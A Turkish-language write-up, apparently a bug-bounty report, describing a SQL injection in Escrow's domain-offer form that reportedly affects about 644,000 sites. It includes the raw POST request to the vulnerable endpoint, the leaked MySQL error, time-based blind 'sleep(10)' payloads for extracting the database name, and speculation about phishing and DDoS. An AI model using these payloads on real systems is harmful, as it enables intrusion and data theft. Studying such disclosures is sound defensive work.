TR | 644 Bin Domaini Etkileyen Sql Injection Zaafiyeti [Write Up]
Herkese selam
Bu yazı güvenli ödeme sisteminde bulduğum ve 644 bin 723 web sitesini etkileyen zaafiyet hakkında olacak.
Escrow Hakkında
Escrow, Türkçe'de "emanet" anlamına geliyor. Yaptıkları işi ise “Belli şartlar karşılanıncaya kadar malın üçüncü bir şahsın kontrolü altında tutulması” olarak belirtiyorlar
Escrow.com'da sadece bu işi yapan Dünya'daki en güvenilir sistemlerinden biridir.
Bir saldırı yapıldığında ise hepsi etkilenmekte. Çünkü emanetçi görevi gören escrow 644 bin domainide üzerinde bir script koşturan sunucuda tutuyor.
Hadi Başlayalım
Zaafiyetten Etkilenen Bazı Domainler
http://www.altcoin.com
http://www.certifiedhackers.com
http://www.ntv.com
http://www.record.com
Zaafiyetin olduğu 644 bin web sayfasından herhangi birine girdiğim zaman aşağıdaki script ile karşılaştım
Domaini satın almak için teklif yapılan bir form ile karşılaştım. Form benden 5 adet input alıyordu. Sayfa kaynağından formun action yaptığı dosyayı keşfettim
routes/ajax_actions/landing_themes/add_inquiry_cap.ajaxa.php dosyasına kullanıcıdan aldığı aşağıdaki 5 farklı girdiyi
name
phone
usd
message
post ile add_inquiry_cap.ajaxa.php dosyasına gönderiyordu.
Birkaç rastgele payload denedikten sonra burp suite kullanarak teste devam ettim.
Şekildeki gibi crawl edip dizinleri keşfettikten sonra bizden aldığı inputların olduğu istekleri repeater ile test etmeye başladım
ajaxa.php dosyasına post edilen isteği incelemeye başlayınca 2 farklı hidden input olduğunu gördüm.
POST /routes/ajax_actions/landing_themes/add_inquiry_cap.ajaxa.php HTTP/1.1
Host: www.certifiedhackers.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.certifiedhackers.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
Cookie: PHPSESSID=ptolg93ih22528i9n3h8pq5q31
domain_id=765357&user_id=2987&name=berk&email=berk@berk.berk&phone=6666666&postal=6&offer=6&request_consent=1
İlk akla geldiği gibi user_id= girdisine arka tarafta bir sql sorgusu yapabiliyor olma ihtimaline karşı tek tırnak (') atarak sql anomalisi oluşturmaya çalıştım
sonuç;
Burp ile yaptığım testlerde her zaman için requestleri önce repeater yardımı ile elle kontrol eder, ardından şüphelendiğim girdi değerine intruder ile fuzzing yaparım.
Genelde error based SQLi zaafiyetlerini tek tırnak ile yakalamaya çalışırım. Tek tırnak ile bir zaafiyet yakalayamazsam intruder yardımı ile elimde ki meta karekterleri denetirim.
Her zaman için amaç sql sentaksını bozabilmektir. Sentaksı bozarsanız yeni sorgular koşturabilirsiniz.
Meta karekterleri ekledikten sonra fuzzing yapmaya başlıyor. Intureder'a attıktan sonra meta karekterleri deneyeceği inputu belirliyorum
(user_id)
Fuzzing bittikten sonra tek tek payloadlara tıklayıp responselara bakıyorum.
Ve o mükemmel response
çift tırnak ile sql söz dizimi bozuldu ve ben hata aldım
Response
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Sat, 27 Oct 2018 20:36:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 626
<p>Error: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'portfolio" or type="development") AND domains.id = '765357' ORDER BY id DESC' at line 1<br>
Line 221 of file /var/www/html/includes/classes/domains.class.php</p> <script>
grecaptcha.reset();
</script>
<div class="validator_status validator_errors">
Meta karekterler ekrana hata verdirmeseydi , time-based payloadları ile blind testlere devam edecektim.
Hatamızı aldıktan sonra gerisi bildiğimiz SQL Injection
İstismar
eğer veritabanı "iki" haneli ise 10 saniye bekle
eğer veritabanı "üç" haneli ise 10 saniye bekle
eğer veritabanı "dört" haneli ise 10 saniye bekle
Veritabanımızın 4 haneli olduğunuda öğrendikten sonra sırasıyla harfleri bulmamız gerekiyor.
Payload
"and (select sleep(10) from dual where database() like '%a%')#
Eğer veritabanımızın ilk harfi "a" ise 10 saniye bekleyecekti fakat cevap requestten hemen sonra geldi
tek tek denemeye devam ediyoruz
"e" harfinde 10 saniye bekledi, veritabanımızın ilk harfi e
Ardından ikinci harfini öğrenmeye çalışıyorum
"and (select sleep(10) from dual where database() like '%e%f%')#
bu şekilde veritabanlarını öğreniyoruz.
Günün Sonunda
Bu zaafiyetin 644 bin websitesini etkilediğini gördük.
Aralarında 3 milyon dolara satılan domainler de dahil birçok domaine propaganda yapılabilirdi, yönlendirmeler ile qnb gibi domainlerde bankacılık phissing saldırıları yapılabilirdi.
APT grubları gibi hissettirmeden içerde kalıp birçok güncel kredi kartı bilgilerine ulaşılabilirdi.
644 bin domain tek bir yere yönlendirilip, dağınık bir dos saldırısı yapılabilirdi.
Okuduğunuz için teşekkür ederim. Aklınıza takılan birşey olursa mail atmaya çekinmeyin.
berkdusunurx@protonmail.com